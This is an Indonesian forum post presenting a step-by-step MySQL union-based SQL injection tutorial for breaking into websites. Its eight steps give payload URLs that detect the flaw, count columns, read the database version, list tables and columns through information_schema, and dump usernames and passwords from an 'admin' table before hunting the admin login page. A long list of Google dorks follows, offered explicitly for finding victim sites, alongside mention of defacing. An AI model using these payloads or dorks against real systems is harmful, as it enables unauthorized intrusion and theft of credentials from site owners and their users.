Ceriwis  

Go Back   Ceriwis > HOBI > Komputer & Teknologi > Shareware & Freeware

Shareware & Freeware Bertukar informasi mengenai Software berbayar ataupun gratis.

Reply
 
Thread Tools
  #1  
Old 24th October 2012
LinuxManiax's Avatar
LinuxManiax LinuxManiax is offline
Ceriwiser
 
Join Date: Oct 2012
Posts: 924
Rep Power: 14
LinuxManiax mempunyai hidup yang Normal
Default [Tutorial+Shared]SQL Injection For Web Hacking

Permisi agan" sekalian , Ane mw share kegiatan ane selama ini ,

Monggo di simak dlu




[/quote]
Quote:





Pengertian sql injection:

SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi clien dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data.





Quote:





Yang perlu di ketahui sebelum sql injection pada mysql:

karakter: ' atau -

comments: /* atau --

information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x





[quote]





yg perlu di ketahui

vulnerable ,

artinya web itu mempunya bug ,



misalnya gini :



MemeCode - Forum < sblm di apa"in

MemeCode - Forum' < check bug menggunakan '



klo abis di tambah ' jika kluar error , baru web itu vuln atau bisa di injeck



tinggal cari versi nya versi brp , klo versi nya 4 ya tinggalin aja mending ,



klo versi 5 ya lanjut






[/spoiler]
Spoiler for open this:
Spoiler for open this:
for Step 1:




===========

=step Satu:=

===========



carilah target

misal: [site]/berita.php?id=100

copas dork di atas ke google maka akan tampak banyak site ,

pilih salah 1



Tambahkan karakter ' pada akhir url utk melihat apakah ada pesan error.

contoh:

[site]/berita.php?id=100' atau

[site]/berita.php?id=-100

ehingga muncul pesan error seperti berikut (masih bnyak lagi):


Spoiler for open this:
Spoiler for open this:
for contoh error:




Warning: mysql_result() expects parameter 1 to be resource, boolean given in /home/fret/html/xyz/forum.php on line 9 Warning: mysql_result() expects parameter 1 to be resource, boolean given in /home/fret/html/xyz/forum.php on line 10 Error getting thread list: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' group by ParentPost order by date desc' at line 1
















Spoiler for open this:
Spoiler for open this:
for Step 2:




==========

=step Dua:=

==========



mencari dan menghitung jumlah table yang ada dalam databasenya...

gunakan perintah : order by



contoh:





[site]/berita.php?id=-100+order+by+1-- atau

[site]/berita.php?id=-100+order+by+1/*



ceklah secara step by step (satupersatu)...

misal:





[site]/berita.php?id=-100+order+by+1--

[site]/berita.php?id=-100+order+by+2--

[site]/berita.php?id=-100+order+by+3--

[site]/berita.php?id=-100+order+by+4--



sehingga muncul error atau hilang pesan error...

misal: [site]/berita.php?id=-100+order+by+9--



berarti yang kita ambil adalah sampai angka 8

menjadi [site]/berita.php?id=-100+order+by+8--












Spoiler for open this:
Spoiler for open this:
for Step 3:




===========

=step Tiga:=

===========



untuk mengeluarkan angka berapa yang muncul gunakan perintah union

karena tadi error sampai angka 9

maka: [site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8--



ok seumpama yg keluar angka 5



gunakan perintah version() atau @@version untuk mengecek versi sql yg diapakai masukan perintah tsb pada nagka yg keluar tadi

misal: [site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8-- atau

[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8--



lihat versi yg digunakan seumpama versi 4 tinggalkan saja karena dalam ver 4 ini kita harus menebak sendiri table n column yg ada pada web tersebut karena tidak bisa menggunakan perintah From+Information_schema..



untuk versi 5 berarti anda beruntung tak perlu menebak table n column seperti ver 4 karena di ver 5 ini bisa menggunakan perintah From+Information_schema..












Spoiler for open this:
Spoiler for open this:
for Step 4:




============

=step Empat:=

============



untuk menampilkan table yg ada pada web tsb adalah

perintah table_name >>> dimasukan pada angka yg keluar tadi

perintah from information_schema.tables/* >>> dimasukan setelah angka terakhir



Code:



[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name), 6,7,8+from+information_schema.tables--



seumpama table yang muncul adalah "admin"












Spoiler for open this:
Spoiler for open this:
for Step 5:




===========

=step Lima:=

===========



untuk menampilkan semua isi dari table tsb adalah

perintah group_concat(table_name) >>> dimasukan pada angka yg keluar tadi

perintah +from+information_schema.tables+where+table_schema =database()-- >>> dimasukan setelah angka terakhir







[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name), 6,7,8+from+information_schema.tables+where+table_s chema=database()--










Spoiler for open this:
Spoiler for open this:
for Step 6:




=============

= step Enam: =

=============



perintah group_concat(column_name) >>> dimasukan pada angka yg keluar tadi

perintah +from+information_schema.columns+where+table_name= 0xhexa-- >>> dimasukan setelah angka terakhir







[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name) ,6,7,8+from+information_schema ​.columns+where+table_name=0xhexa--



pada tahap ini kamu wajib mengextrak kata pada isi table menjadi hexadecimal yaitu dengan cara mengkonversinya

website yg digunakan untuk konversi :



http://www.v3n0m.net/ascii.htm



contoh kata yg ingin di konversi yaitu admin maka akan menjadi 61646D696E







[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name) ,6,7,8+from+information_schema ​.columns+where+table_name=0x61646D696E--










Spoiler for open this:
Spoiler for open this:
for Step 7:




============

=step Tujuh:=

============



memunculkan apa yg tadi telah dikeluarkan dari table yaitu dengan cara



perintah group_concat(hasil isi column0x3a,hasil isi column yg mau dikeluarkan) >>> dimasukan pada angka yg keluar tadi)

perintah +from+(nama table berasal) >>> dimasukan setelah angka terakhir



Contoh :



[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(hasil isi column,0x3a,hasil isi column),6,7,8+from+(nama table asal [ text ] )--



contoh kata yang keluar adalah id,username,password



Contoh :



[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(id,0x3a,user name),6,7,8+from+admin--










Spoiler for open this:
Spoiler for open this:
for Step 8:




==============

= step Delapan:=

==============



tahap terakhir mencari halam admin atau login .





Silahkan DI pelajari gan









Yg mau nyari Korban web ini List dork nya(pilih salah 1 copas di om google)


[spoiler=open this] for Dork:




inurl:trainers.php?id=

inurl:buy.php?category=

inurl:article.php?ID=

inurllay_old.php?id=

inurl:declaration_more.php?decl_id=

inurlageid=

inurl.php?id=

inurlage.php?file=

inurl:newsDetail.php?id=

inurl:gallery.php?id=

inurl:article.php?id=

inurl:show.php?id=

inurl:staff_id=

inurl:newsitem.php?num=

inurl:readnews.php?id=

inurl:top10.php?cat=

inurl:historialeer.php?num=

inurl:reagir.php?num=

inurl:Stray-Questions-View.php?num=

inurl:forum_bds.php?num=

inurl:game.php?id=

inurl:view_product.php?id=

inurl:newsone.php?id=

inurl:sw_comment.php?id=

inurl:news.php?id=

inurl:avd_start.php?avd=

inurl:event.php?id=

inurlroduct-item.php?id=

inurl:sql.php?id=

inurl:news_view.php?id=

inurl:select_biblio.php?id=

inurl:humor.php?id=

inurl:aboutbook.php?id=

inurlgl_inet.php?ogl_id=

inurl:fiche_spectacle.php?id=

inurl:communique_detail.php?id=

inurl:sem.php3?id=

inurl:kategorie.php4?id=

inurl:news.php?id=

inurl:index.php?id=

inurl:faq2.php?id=

inurl:show_an.php?id=

inurlreview.php?id=

inurl:loadpsb.php?id=

inurlpinions.php?id=

inurl:spr.php?id=

inurlages.php?id=

inurl:announce.php?id=

inurl:clanek.php4?id=

inurlarticipant.php?id=

inurl:download.php?id=

inurl:main.php?id=

inurl:review.php?id=

inurl:chappies.php?id=

inurl:read.php?id=

inurlrod_detail.php?id=

inurl:viewphoto.php?id=

inurl:article.php?id=

inurlerson.php?id=

inurlroductinfo.php?id=

inurl:showimg.php?id=

inurl:view.php?id=

inurl:website.php?id=

inurl:hosting_info.php?id=

inurl:gallery.php?id=

inurl:rub.php?idr=

inurl:view_faq.php?id=

inurl:artikelinfo.php?id=

inurl:detail.php?ID=

inurl:index.php?=

inurlrofile_view.php?id=

inurl:category.php?id=

inurlublications.php?id=

inurl:fellows.php?id=

inurl:downloads_info.php?id=

inurlrod_info.php?id=

inurl:shop.php?do=part&id=

inurlroductinfo.php?id=

inurl:collectionitem.php?id=

inurl:band_info.php?id=

inurlroduct.php?id=

inurl:releases.php?id=

inurl:ray.php?id=

inurlroduit.php?id=

inurlop.php?id=

inurl:shopping.php?id=

inurlroductdetail.php?id=

inurlost.php?id=

inurl:viewshowdetail.php?id=

inurl:clubpage.php?id=

inurl:memberInfo.php?id=

inurl:section.php?id=

inurl:theme.php?id=

inurlage.php?id=

inurl:shredder-categories.php?id=

inurl:tradeCategory.php?id=

inurlroduct_ranges_view.php?ID=

inurl:shop_category.php?id=

inurl:transcript.php?id=

inurl:channel_id=

inurl:item_id=

inurl:newsid=

inurl:trainers.php?id=

inurl:news-full.php?id=

inurl:news_display.php?getid=

inurl:index2.php?option=

inurl:readnews.php?id=

inurl:top10.php?cat=

inurl:newsone.php?id=

inurl:event.php?id=

inurlroduct-item.php?id=

inurl:sql.php?id=

inurl:aboutbook.php?id=

inurlreview.php?id=

inurl:loadpsb.php?id=

inurlages.php?id=

inurl:material.php?id=

inurl:clanek.php4?id=

inurl:announce.php?id=

inurl:chappies.php?id=

inurl:read.php?id=

inurl:viewapp.php?id=

inurl:viewphoto.php?id=

inurl:rub.php?idr=

inurl:galeri_info.php?l=

inurl:review.php?id=

inurl:iniziativa.php?in=

inurl:curriculum.php?id=

inurl:labels.php?id=

inurl:story.php?id=

inurl:look.php?ID=

inurl:newsone.php?id=

inurl:aboutbook.php?id=

inurl:material.php?id=

inurlpinions.php?id=

inurl:announce.php?id=

inurl:rub.php?idr=

inurl:galeri_info.php?l=

inurl:tekst.php?idt=

inurl:newscat.php?id=

inurl:newsticker_info.php?idn=











Ayo Kita Share dimari No Junk ya gan ,

Yg mw belajar bisa diskusi dimari




Ane trima

ga trima



Tolong di rate 5 ya gan



YG MAU BELAJAR DIMARI MONGGO



LIST TUTORIAL HACKING / DEFACING



Thanks To All Crew Hacker - Newbie



Reply With Quote
Reply


Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off


 


All times are GMT +7. The time now is 11:47 PM.


no new posts